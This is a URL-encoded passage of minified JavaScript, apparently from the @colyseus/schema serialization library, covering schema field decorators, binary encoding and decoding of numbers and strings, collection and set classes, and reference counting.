%5D%3Dt%2Cthis.indexesWithFilters.push(this.indexes%5Be%5D)%2C!0%7D%2Ce.prototype.addChildrenFilter%3Dfunction(e%2Ct)%7Bvar%20n%3Dthis.indexes%5Be%5D%2Cr%3Dthis.schema%5Be%5D%3Bif(v(Object.keys(r)%5B0%5D))return%20this.childFilters%7C%7C(this.childFilters%3D%7B%7D)%2Cthis.childFilters%5Bn%5D%3Dt%2C!0%3Bconsole.warn(%22%40filterChildren%3A%20field%20'%22.concat(e%2C%22'%20can't%20have%20children.%20Ignoring%20filter.%22))%7D%2Ce.prototype.getChildrenFilter%3Dfunction(e)%7Breturn%20this.childFilters%26%26this.childFilters%5Bthis.indexes%5Be%5D%5D%7D%2Ce.prototype.getNextFieldIndex%3Dfunction()%7Breturn%20Object.keys(this.schema%7C%7C%7B%7D).length%7D%2Ce%7D()%3Bfunction%20w(e)%7Breturn%20e._context%26%26e._context.useFilters%7Dvar%20x%3Dfunction()%7Bfunction%20e()%7Bthis.types%3D%7B%7D%2Cthis.schemas%3Dnew%20Map%2Cthis.useFilters%3D!1%7Dreturn%20e.prototype.has%3Dfunction(e)%7Breturn%20this.schemas.has(e)%7D%2Ce.prototype.get%3Dfunction(e)%7Breturn%20this.types%5Be%5D%7D%2Ce.prototype.add%3Dfunction(e%2Ct)%7Bvoid%200%3D%3D%3Dt%26%26(t%3Dthis.schemas.size)%2Ce._definition%3Db.create(e._definition)%2Ce._typeid%3Dt%2Cthis.types%5Bt%5D%3De%2Cthis.schemas.set(e%2Ct)%7D%2Ce.create%3Dfunction(t)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cfunction(n)%7Breturn%20t.context%7C%7C(t.context%3Dnew%20e)%2C_(n%2Ct)%7D%7D%2Ce%7D()%2CE%3Dnew%20x%3Bfunction%20_(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cfunction(n%2Cr)%7Bvar%20i%3Dt.context%7C%7CE%2Cs%3Dn.constructor%3Bif(s._context%3Di%2C!e)throw%20new%20Error(%22%22.concat(s.name%2C'%3A%20%40type()%20reference%20provided%20for%20%22').concat(r%2C%22%5C%22%20is%20undefined.%20Make%20sure%20you%20don't%20have%20any%20circular%20dependencies.%22))%3Bi.has(s)%7C%7Ci.add(s)%3Bvar%20a%3Ds._definition%3Bif(a.addField(r%2Ce)%2Ca.descriptors%5Br%5D)%7Bif(a.deprecated%5Br%5D)return%3Btry%7Bthrow%20new%20Error(%22%40colyseus%2Fschema%3A%20Duplicate%20'%22.concat(r%2C%22'%20definition%20on%20'%22).concat(s.name%2C%22'.%5CnCheck%20%40type()%20annotation%22))%7Dcatch(e)%7Bvar%20c%3De.stack.split(%22%5Cn%22)%5B4%5D.trim()%3Bthrow%20new%20Error(%22%22.concat(e.message%2C%22%20%22).concat(c))%7D%7Dvar%20l%3Dp.is(e)%2Cu%3D!l%26%26m.is(e)%3Bif(%22string%22!%3Dtypeof%20e%26%26!Te.is(e))%7Bvar%20f%3DObject.values(e)%5B0%5D%3B%22string%22%3D%3Dtypeof%20f%7C%7Ci.has(f)%7C%7Ci.add(f)%7Dif(t.manual)a.descriptors%5Br%5D%3D%7Benumerable%3A!0%2Cconfigurable%3A!0%2Cwritable%3A!0%7D%3Belse%7Bvar%20d%3D%22_%22.concat(r)%3Ba.descriptors%5Bd%5D%3D%7Benumerable%3A!1%2Cconfigurable%3A!1%2Cwritable%3A!0%7D%2Ca.descriptors%5Br%5D%3D%7Bget%3Afunction()%7Breturn%20this%5Bd%5D%7D%2Cset%3Afunction(e)%7Be!%3D%3Dthis%5Bd%5D%26%26(null!%3De%3F(!l%7C%7Ce%20instanceof%20p%7C%7C(e%3Dnew(p.bind.apply(p%2Co(%5Bvoid%200%5D%2Ce%2C!1))))%2C!u%7C%7Ce%20instanceof%20m%7C%7C(e%3Dnew%20m(e))%2Cvoid%200%3D%3D%3De.%24proxy%26%26(u%3Fe%3Dg(e)%3Al%26%26(e%3Dh(e)))%2Cthis.%24changes.change(r)%2Ce.%24changes%26%26e.%24changes.setParent(this%2Cthis.%24changes.root%2Cthis._definition.indexes%5Br%5D))%3Athis%5Bd%5D%26%26this.%24changes.delete(r)%2Cthis%5Bd%5D%3De)%7D%2Cenumerable%3A!0%2Cconfigurable%3A!0%7D%7D%7D%7Dfunction%20A(e)%7Breturn%20function(t%2Cn)%7Bvar%20r%3Dt.constructor%3Br._definition.addFilter(n%2Ce)%26%26(r._context.useFilters%3D!0)%7D%7Dfunction%20O(e)%7Breturn%20function(t%2Cn)%7Bvar%20r%3Dt.constructor%3Br._definition.addChildrenFilter(n%2Ce)%26%26(r._context.useFilters%3D!0)%7D%7Dfunction%20I(e)%7Breturn%20void%200%3D%3D%3De%26%26(e%3D!0)%2Cfunction(t%2Cn)%7Bvar%20r%3Dt.constructor._definition%3Br.deprecated%5Bn%5D%3D!0%2Ce%26%26(r.descriptors%5Bn%5D%3D%7Bget%3Afunction()%7Bthrow%20new%20Error(%22%22.concat(n%2C%22%20is%20deprecated.%22))%7D%2Cset%3Afunction(e)%7B%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%7D%7Dfunction%20k(e%2Ct%2Cn)%7Bfor(var%20r%20in%20void%200%3D%3D%3Dn%26%26(n%3D%7B%7D)%2Cn.context%7C%7C(n.context%3De._context%7C%7Cn.context%7C%7CE)%2Ct)_(t%5Br%5D%2Cn)(e.prototype%2Cr)%3Breturn%20e%7Dfunction%20T(e)%7Bfor(var%20t%3D0%2Cn%3D0%2Cr%3D0%2Co%3De.length%3Br%3Co%3Br%2B%2B)(t%3De.charCodeAt(r))%3C128%3Fn%2B%3D1%3At%3C2048%3Fn%2B%3D2%3At%3C55296%7C%7Ct%3E%3D57344%3Fn%2B%3D3%3A(r%2B%2B%2Cn%2B%3D4)%3Breturn%20n%7Dfunction%20C(e%2Ct%2Cn)%7Bfor(var%20r%3D0%2Co%3D0%2Ci%3Dn.length%3Bo%3Ci%3Bo%2B%2B)(r%3Dn.charCodeAt(o))%3C128%3Fe%5Bt%2B%2B%5D%3Dr%3Ar%3C2048%3F(e%5Bt%2B%2B%5D%3D192%7Cr%3E%3E6%2Ce%5Bt%2B%2B%5D%3D128%7C63%26r)%3Ar%3C55296%7C%7Cr%3E%3D57344%3F(e%5Bt%2B%2B%5D%3D224%7Cr%3E%3E12%2Ce%5Bt%2B%2B%5D%3D128%7Cr%3E%3E6%2663%2Ce%5Bt%2B%2B%5D%3D128%7C63%26r)%3A(o%2B%2B%2Cr%3D65536%2B((1023%26r)%3C%3C10%7C1023%26n.charCodeAt(o))%2Ce%5Bt%2B%2B%5D%3D240%7Cr%3E%3E18%2Ce%5Bt%2B%2B%5D%3D128%7Cr%3E%3E12%2663%2Ce%5Bt%2B%2B%5D%3D128%7Cr%3E%3E6%2663%2Ce%5Bt%2B%2B%5D%3D128%7C63%26r)%7Dfunction%20R(e%2Ct)%7Be.push(255%26t)%7Dfunction%20S(e%2Ct)%7Be.push(255%26t)%7Dfunction%20P(e%2Ct)%7Be.push(255%26t)%2Ce.push(t%3E%3E8%26255)%7Dfunction%20M(e%2Ct)%7Be.push(255%26t)%2Ce.push(t%3E%3E8%26255)%7Dfunction%20N(e%2Ct)%7Be.push(255%26t)%2Ce.push(t%3E%3E8%26255)%2Ce.push(t%3E%3E16%26255)%2Ce.push(t%3E%3E24%26255)%7Dfunction%20D(e%2Ct)%7Bvar%20n%3Dt%3E%3E24%2Cr%3Dt%3E%3E16%2Co%3Dt%3E%3E8%2Ci%3Dt%3Be.push(255%26i)%2Ce.push(255%26o)%2Ce.push(255%26r)%2Ce.push(255%26n)%7Dfunction%20L(e%2Ct)%7Bvar%20n%3DMath.floor(t%2FMath.pow(2%2C32))%3BD(e%2Ct%3E%3E%3E0)%2CD(e%2Cn)%7Dfunction%20q(e%2Ct)%7Bvar%20n%3Dt%2FMath.pow(2%2C32)%3E%3E0%3BD(e%2Ct%3E%3E%3E0)%2CD(e%2Cn)%7Dfunction%20U(e%2Ct)%7BV(e%2Ct)%7Dfunction%20j(e%2Ct)%7BF(e%2Ct)%7Dvar%20B%3Dnew%20Int32Array(2)%2CH%3Dnew%20Float32Array(B.buffer)%2Cz%3Dnew%20Float64Array(B.buffer)%3Bfunction%20V(e%2Ct)%7BH%5B0%5D%3Dt%2CN(e%2CB%5B0%5D)%7Dfunction%20F(e%2Ct)%7Bz%5B0%5D%3Dt%2CN(e%2CB%5B0%5D)%2CN(e%2CB%5B1%5D)%7Dfunction%20W(e%2Ct)%7Breturn%20S(e%2Ct%3F1%3A0)%7Dfunction%20J(e%2Ct)%7Bt%7C%7C(t%3D%22%22)%3Bvar%20n%3DT(t)%2Cr%3D0%3Bif(n%3C32)e.push(160%7Cn)%2Cr%3D1%3Belse%20if(n%3C256)e.push(217)%2CS(e%2Cn)%2Cr%3D2%3Belse%20if(n%3C65536)e.push(218)%2CM(e%2Cn)%2Cr%3D3%3Belse%7Bif(!(n%3C4294967296))throw%20new%20Error(%22String%20too%20long%22)%3Be.push(219)%2CD(e%2Cn)%2Cr%3D5%7Dreturn%20C(e%2Ce.length%2Ct)%2Cr%2Bn%7Dfunction%20G(e%2Ct)%7Breturn%20isNaN(t)%3FG(e%2C0)%3AisFinite(t)%3Ft!%3D%3D(0%7Ct)%3F(e.push(203)%2CF(e%2Ct)%2C9)%3At%3E%3D0%3Ft%3C128%3F(S(e%2Ct)%2C1)%3At%3C256%3F(e.push(204)%2CS(e%2Ct)%2C2)%3At%3C65536%3F(e.push(205)%2CM(e%2Ct)%2C3)%3At%3C4294967296%3F(e.push(206)%2CD(e%2Ct)%2C5)%3A(e.push(207)%2Cq(e%2Ct)%2C9)%3At%3E%3D-32%3F(e.push(224%7Ct%2B32)%2C1)%3At%3E%3D-128%3F(e.push(208)%2CR(e%2Ct)%2C2)%3At%3E%3D-32768%3F(e.push(209)%2CP(e%2Ct)%2C3)%3At%3E%3D-2147483648%3F(e.push(210)%2CN(e%2Ct)%2C5)%3A(e.push(211)%2CL(e%2Ct)%2C9)%3AG(e%2Ct%3E0%3FNumber.MAX_SAFE_INTEGER%3A-Number.MAX_SAFE_INTEGER)%7Dvar%20K%3DObject.freeze(%7B__proto__%3Anull%2Cutf8Write%3AC%2Cint8%3AR%2Cuint8%3AS%2Cint16%3AP%2Cuint16%3AM%2Cint32%3AN%2Cuint32%3AD%2Cint64%3AL%2Cuint64%3Aq%2Cfloat32%3AU%2Cfloat64%3Aj%2CwriteFloat32%3AV%2CwriteFloat64%3AF%2Cboolean%3AW%2Cstring%3AJ%2Cnumber%3AG%7D)%3Bfunction%20Q(e%2Ct%2Cn)%7Bfor(var%20r%3D%22%22%2Co%3D0%2Ci%3Dt%2Cs%3Dt%2Bn%3Bi%3Cs%3Bi%2B%2B)%7Bvar%20a%3De%5Bi%5D%3B0!%3D(128%26a)%3F192!%3D(224%26a)%3F224!%3D(240%26a)%3F240!%3D(248%26a)%3Fconsole.error(%22Invalid%20byte%20%22%2Ba.toString(16))%3A(o%3D(7%26a)%3C%3C18%7C(63%26e%5B%2B%2Bi%5D)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3E%3D65536%3F(o-%3D65536%2Cr%2B%3DString.fromCharCode(55296%2B(o%3E%3E%3E10)%2C56320%2B(1023%26o)))%3Ar%2B%3DString.fromCharCode(o)%3Ar%2B%3DString.fromCharCode((15%26a)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3Ar%2B%3DString.fromCharCode((31%26a)%3C%3C6%7C63%26e%5B%2B%2Bi%5D)%3Ar%2B%3DString.fromCharCode(a)%7Dreturn%20r%7Dfunction%20X(e%2Ct)%7Breturn%20Y(e%2Ct)%3C%3C24%3E%3E24%7Dfunction%20Y(e%2Ct)%7Breturn%20e%5Bt.offset%2B%2B%5D%7Dfunction%20Z(e%2Ct)%7Breturn%20ee(e%2Ct)%3C%3C16%3E%3E16%7Dfunction%20ee(e%2Ct)%7Breturn%20e%5Bt.offset%2B%2B%5D%7Ce%5Bt.offset%2B%2B%5D%3C%3C8%7Dfunction%20te(e%2Ct)%7Breturn%20e%5Bt.offset%2B%2B%5D%7Ce%5Bt.offset%2B%2B%5D%3C%3C8%7Ce%5Bt.offset%2B%2B%5D%3C%3C16%7Ce%5Bt.offset%2B%2B%5D%3C%3C24%7Dfunction%20ne(e%2Ct)%7Breturn%20te(e%2Ct)%3E%3E%3E0%7Dfunction%20re(e%2Ct)%7Breturn%20ue(e%2Ct)%7Dfunction%20oe(e%2Ct)%7Breturn%20fe(e%2Ct)%7Dfunction%20ie(e%2Ct)%7Bvar%20n%3Dne(e%2Ct)%3Breturn%20te(e%2Ct)*Math.pow(2%2C32)%2Bn%7Dfunction%20se(e%2Ct)%7Bvar%20n%3Dne(e%2Ct)%3Breturn%20ne(e%2Ct)*Math.pow(2%2C32)%2Bn%7Dvar%20ae%3Dnew%20Int32Array(2)%2Cce%3Dnew%20Float32Array(ae.buffer)%2Cle%3Dnew%20Float64Array(ae.buffer)%3Bfunction%20ue(e%2Ct)%7Breturn%20ae%5B0%5D%3Dte(e%2Ct)%2Cce%5B0%5D%7Dfunction%20fe(e%2Ct)%7Breturn%20ae%5B0%5D%3Dte(e%2Ct)%2Cae%5B1%5D%3Dte(e%2Ct)%2Cle%5B0%5D%7Dfunction%20de(e%2Ct)%7Breturn%20Y(e%2Ct)%3E0%7Dfunction%20he(e%2Ct)%7Bvar%20n%2Cr%3De%5Bt.offset%2B%2B%5D%3Br%3C192%3Fn%3D31%26r%3A217%3D%3D%3Dr%3Fn%3DY(e%2Ct)%3A218%3D%3D%3Dr%3Fn%3Dee(e%2Ct)%3A219%3D%3D%3Dr%26%26(n%3Dne(e%2Ct))%3Bvar%20o%3DQ(e%2Ct.offset%2Cn)%3Breturn%20t.offset%2B%3Dn%2Co%7Dfunction%20pe(e%2Ct)%7Bvar%20n%3De%5Bt.offset%5D%3Breturn%20n%3C192%26%26n%3E160%7C%7C217%3D%3D%3Dn%7C%7C218%3D%3D%3Dn%7C%7C219%3D%3D%3Dn%7Dfunction%20ge(e%2Ct)%7Bvar%20n%3De%5Bt.offset%2B%2B%5D%3Breturn%20n%3C128%3Fn%3A202%3D%3D%3Dn%3Fue(e%2Ct)%3A203%3D%3D%3Dn%3Ffe(e%2Ct)%3A204%3D%3D%3Dn%3FY(e%2Ct)%3A205%3D%3D%3Dn%3Fee(e%2Ct)%3A206%3D%3D%3Dn%3Fne(e%2Ct)%3A207%3D%3D%3Dn%3Fse(e%2Ct)%3A208%3D%3D%3Dn%3FX(e%2Ct)%3A209%3D%3D%3Dn%3FZ(e%2Ct)%3A210%3D%3D%3Dn%3Fte(e%2Ct)%3A211%3D%3D%3Dn%3Fie(e%2Ct)%3An%3E223%3F-1*(255-n%2B1)%3Avoid%200%7Dfunction%20me(e%2Ct)%7Bvar%20n%3De%5Bt.offset%5D%3Breturn%20n%3C128%7C%7Cn%3E%3D202%26%26n%3C%3D211%7Dfunction%20%24e(e%2Ct)%7Breturn%20e%5Bt.offset%5D%3C160%7Dfunction%20ye(e%2Ct)%7Breturn%20e%5Bt.offset-1%5D%3D%3D%3Ds%26%26(e%5Bt.offset%5D%3C128%7C%7Ce%5Bt.offset%5D%3E%3D202%26%26e%5Bt.offset%5D%3C%3D211)%7Dvar%20ve%3DObject.freeze(%7B__proto__%3Anull%2Cint8%3AX%2Cuint8%3AY%2Cint16%3AZ%2Cuint16%3Aee%2Cint32%3Ate%2Cuint32%3Ane%2Cfloat32%3Are%2Cfloat64%3Aoe%2Cint64%3Aie%2Cuint64%3Ase%2CreadFloat32%3Aue%2CreadFloat64%3Afe%2Cboolean%3Ade%2Cstring%3Ahe%2CstringCheck%3Ape%2Cnumber%3Age%2CnumberCheck%3Ame%2CarrayCheck%3A%24e%2CswitchStructureCheck%3Aye%7D)%2Cbe%3Dfunction()%7Bfunction%20t(e)%7Bvar%20t%3Dthis%3Bthis.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Ce%26%26e.forEach((function(e)%7Breturn%20t.add(e)%7D))%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20void%200!%3D%3De.collection%7D%2Ct.prototype.add%3Dfunction(e)%7Bvar%20t%3Dthis.%24refId%2B%2B%3Breturn%20void%200!%3D%3De.%24changes%26%26e.%24changes.setParent(this%2Cthis.%24changes.root%2Ct)%2Cthis.%24changes.indexes%5Bt%5D%3Dt%2Cthis.%24indexes.set(t%2Ct)%2Cthis.%24items.set(t%2Ce)%2Cthis.%24changes.change(t)%2Ct%7D%2Ct.prototype.at%3Dfunction(e)%7Bvar%20t%3DArray.from(this.%24items.keys())%5Be%5D%3Breturn%20this.%24items.get(t)%7D%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.delete%3Dfunction(e)%7Bfor(var%20t%2Cn%2Cr%3Dthis.%24items.entries()%3B(n%3Dr.next())%26%26!n.done%3B)if(e%3D%3D%3Dn.value%5B1%5D)%7Bt%3Dn.value%5B0%5D%3Bbreak%7Dreturn%20void%200!%3D%3Dt%26%26(this.%24changes.delete(t)%2Cthis.%24indexes.delete(t)%2Cthis.%24items.delete(t))%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.has%3Dfunction(e)%7Breturn%20Array.from(this.%24items.values()).some((function(t)%7Breturn%20t%3D%3D%3De%7D))%7D%2Ct.prototype.forEach%3Dfunction(e)%7Bvar%20t%3Dthis%3Bthis.%24items.forEach((function(n%2Cr%2Co)%7Breturn%20e(n%2Cr%2Ct)%7D))%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2CObject.defineProperty(t.prototype%2C%22size%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toArray%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3D%5B%5D%3Breturn%20this.forEach((function(t%2Cn)%7Be.push(%22function%22%3D%3Dtypeof%20t.toJSON%3Ft.toJSON()%3At)%7D))%2Ce%7D%2Ct.prototype.clone%3Dfunction(e)%7Bvar%20n%3Breturn%20e%3Fn%3DObject.assign(new%20t%2Cthis)%3A(n%3Dnew%20t%2Cthis.forEach((function(e)%7Be.%24changes%3Fn.add(e.clone())%3An.add(e)%7D)))%2Cn%7D%2Ct%7D()%2Cwe%3Dfunction()%7Bfunction%20t(e)%7Bvar%20t%3Dthis%3Bthis.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Ce%26%26e.forEach((function(e)%7Breturn%20t.add(e)%7D))%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20void%200!%3D%3De.set%7D%2Ct.prototype.add%3Dfunction(t)%7Bvar%20n%2Cr%3Bif(this.has(t))return!1%3Bvar%20o%3Dthis.%24refId%2B%2B%3Bvoid%200!%3D%3Dt.%24changes%26%26t.%24changes.setParent(this%2Cthis.%24changes.root%2Co)%3Bvar%20i%3Dnull!%3D%3D(r%3Dnull%3D%3D%3D(n%3Dthis.%24changes.indexes%5Bo%5D)%7C%7Cvoid%200%3D%3D%3Dn%3Fvoid%200%3An.op)%26%26void%200!%3D%3Dr%3Fr%3Ae.OPERATION.ADD%3Breturn%20this.%24changes.indexes%5Bo%5D%3Do%2Cthis.%24indexes.set(o%2Co)%2Cthis.%24items.set(o%2Ct)%2Cthis.%24changes.change(o%2Ci)%2Co%7D%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.delete%3Dfunction(e)%7Bfor(var%20t%2Cn%2Cr%3Dthis.%24items.entries()%3B(n%3Dr.next())%26%26!n.done%3B)if(e%3D%3D%3Dn.value%5B1%5D)%7Bt%3Dn.value%5B0%5D%3Bbreak%7Dreturn%20void%200!%3D%3Dt%26%26(this.%24changes.delete(t)%2Cthis.%24indexes.delete(t)%2Cthis.%24items.delete(t))%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.has%3Dfunction(e)%7Bfor(var%20t%2Cn%3Dthis.%24items.values()%2Cr%3D!1%3B(t%3Dn.next())%26%26!t.done%3B)if(e%3D%3D%3Dt.value)%7Br%3D!0%3Bbreak%7Dreturn%20r%7D%2Ct.prototype.forEach%3Dfunction(e)%7Bvar%20t%3Dthis%3Bthis.%24items.forEach((function(n%2Cr%2Co)%7Breturn%20e(n%2Cr%2Ct)%7D))%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2CObject.defineProperty(t.prototype%2C%22size%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toArray%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3D%5B%5D%3Breturn%20this.forEach((function(t%2Cn)%7Be.push(%22function%22%3D%3Dtypeof%20t.toJSON%3Ft.toJSON()%3At)%7D))%2Ce%7D%2Ct.prototype.clone%3Dfunction(e)%7Bvar%20n%3Breturn%20e%3Fn%3DObject.assign(new%20t%2Cthis)%3A(n%3Dnew%20t%2Cthis.forEach((function(e)%7Be.%24changes%3Fn.add(e.clone())%3An.add(e)%7D)))%2Cn%7D%2Ct%7D()%2Cxe%3Dfunction()%7Bfunction%20e()%7Bthis.refIds%3Dnew%20WeakSet%2Cthis.containerIndexes%3Dnew%20WeakMap%7Dreturn%20e.prototype.addRefId%3Dfunction(e)%7Bthis.refIds.has(e)%7C%7C(this.refIds.add(e)%2Cthis.containerIndexes.set(e%2Cnew%20Set))%7D%2Ce.get%3Dfunction(t)%7Breturn%20void%200%3D%3D%3Dt.%24filterState%26%26(t.%24filterState%3Dnew%20e)%2Ct.%24filterState%7D%2Ce%7D()%2CEe%3Dfunction()%7Bfunction%20e()%7Bthis.refs%3Dnew%20Map%2Cthis.refCounts%3D%7B%7D%2Cthis.deletedRefs%3Dnew%20Set%2Cthis.nextUniqueId%3D0%7Dreturn%20e.prototype.getNextUniqueId%3Dfunction()%7Breturn%20this.nextUniqueId%2B%2B%7D%2Ce.prototype.addRef%3Dfunction(e%2Ct%2Cn)%7Bvoid%200%3D%3D%3Dn%26%26(n%3D!0)%2Cthis.refs.set(e%2Ct)%2Cn%26%26(this.refCounts%5Be%5D%3D(this.refCounts%5Be%5D%7C%7C0)%2B1)%7D%2Ce.prototype.removeRef%3Dfunction(e)%7Bvar%20t%3Dthis.refCounts%5Be%5D%3Bvoid%200!%3D%3Dt%3F0!%3D%3Dt%3F(this.refCounts%5Be%5D%3Dt-1%2Cthis.deletedRefs.add(e))%3Aconsole.warn(%22trying%20to%20remove%20reference%20%22.concat(e%2C%22%20with%200%20refCount%22))%3Aconsole.warn(%22trying%20to%20remove%20reference%20%22.concat(e%2C%22%20that%20doesn't%20exist%22))%7D%2Ce.prototype.clearRefs%3Dfunction()%7Bthis.refs.clear()%2Cthis.deletedRefs.clear()%2Cthis.refCounts%3D%7B%7D%7D%2Ce.prototype.garbageCollectDeletedRefs%3Dfunction()%7Bvar%20e%3Dthis%3Bthis.deletedRefs.forEach((function(t)%7Bif(!(e.refCounts%5Bt%5D%3E0))%7Bvar%20n%3De.refs.get(t)%3Bif(n%20instanceof%20Te)for(var%20r%20in%20n._definition.schema)%22string%22!%3Dtypeof%20n._definition.schema%5Br%5D%26%26n%5Br%5D%26%26n%5Br%5D.%24changes%26%26e.removeRef(n%5Br%5D.%24changes.refId)%3Belse%7Bvar%20o%3Dn.%24changes.parent._definition%2Ci%3Do.schema%5Bo.fieldsByIndex%5Bn.%24changes.parentIndex%5D%5D%3B%22function%22%3D%3Dtypeof%20Object.values(i)%5B0%5D%26%26Array.from(n.values()).forEach((function(t)%7Breturn%20e.removeRef(t.%24changes.refId)%7D))%7De.refs.delete(t)%2Cdelete%20e.refCounts%5Bt%5D%7D%7D))%2Cthis.deletedRefs.clear()%7D%2Ce%7D()%2C_e%3Dfunction(e)%7Bfunction%20t()%7Breturn%20null!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%7Dreturn%20n(t%2Ce)%2Ct%7D(Error)%3Bfunction%20Ae(e%2Ct%2Cn%2Cr)%7Bvar%20o%2Ci%3D!1%3Bswitch(t)%7Bcase%22number%22%3Acase%22int8%22%3Acase%22uint8%22%3Acase%22int16%22%3Acase%22uint16%22%3Acase%22int32%22%3Acase%22uint32%22%3Acase%22int64%22%3Acase%22uint64%22%3Acase%22float32%22%3Acase%22float64%22%3Ao%3D%22number%22%2CisNaN(e)%26%26console.log('trying%20to%20encode%20%22NaN%22%20in%20'.concat(n.constructor.name%2C%22%23%22).concat(r))%3Bbreak%3Bcase%22string%22%3Ao%3D%22string%22%2Ci%3D!0%3Bbreak%3Bcase%22boolean%22%3Areturn%7Dif(typeof%20e!%3D%3Do%26%26(!i%7C%7Ci%26%26null!%3D%3De))%7Bvar%20s%3D%22'%22.concat(JSON.stringify(e)%2C%22'%22).concat(e%26%26e.constructor%26%26%22%20(%22.concat(e.constructor.name%2C%22)%22)%7C%7C%22%22)%3Bthrow%20new%20_e(%22a%20'%22.concat(o%2C%22'%20was%20expected%2C%20but%20%22).concat(s%2C%22%20was%20provided%20in%20%22).concat(n.constructor.name%2C%22%23%22).concat(r))%7D%7Dfunction%20Oe(e%2Ct%2Cn%2Cr)%7Bif(!(e%20instanceof%20t))throw%20new%20_e(%22a%20'%22.concat(t.name%2C%22'%20was%20expected%2C%20but%20'%22).concat(e.constructor.name%2C%22'%20was%20provided%20in%20%22).concat(n.constructor.name%2C%22%23%22).concat(r))%7Dfunction%20Ie(e%2Ct%2Cn%2Cr%2Co)%7BAe(n%2Ce%2Cr%2Co)%3Bvar%20i%3DK%5Be%5D%3Bif(!i)throw%20new%20_e(%22a%20'%22.concat(e%2C%22'%20was%20expected%2C%20but%20%22).concat(n%2C%22%20was%20provided%20in%20%22).concat(r.constructor.name%2C%22%23%22).concat(o))%3Bi(t%2Cn)%7Dfunction%20ke(e%2Ct%2Cn)%7Breturn%20ve%5Be%5D(t%2Cn)%7Dvar%20Te%3Dfunction()%7Bfunction%20t()%7Bfor(var%20e%3D%5B%5D%2Ct%3D0%3Bt%3Carguments.length%3Bt%2B%2B)e%5Bt%5D%3Darguments%5Bt%5D%3BObject.defineProperties(this%2C%7B%24changes%3A%7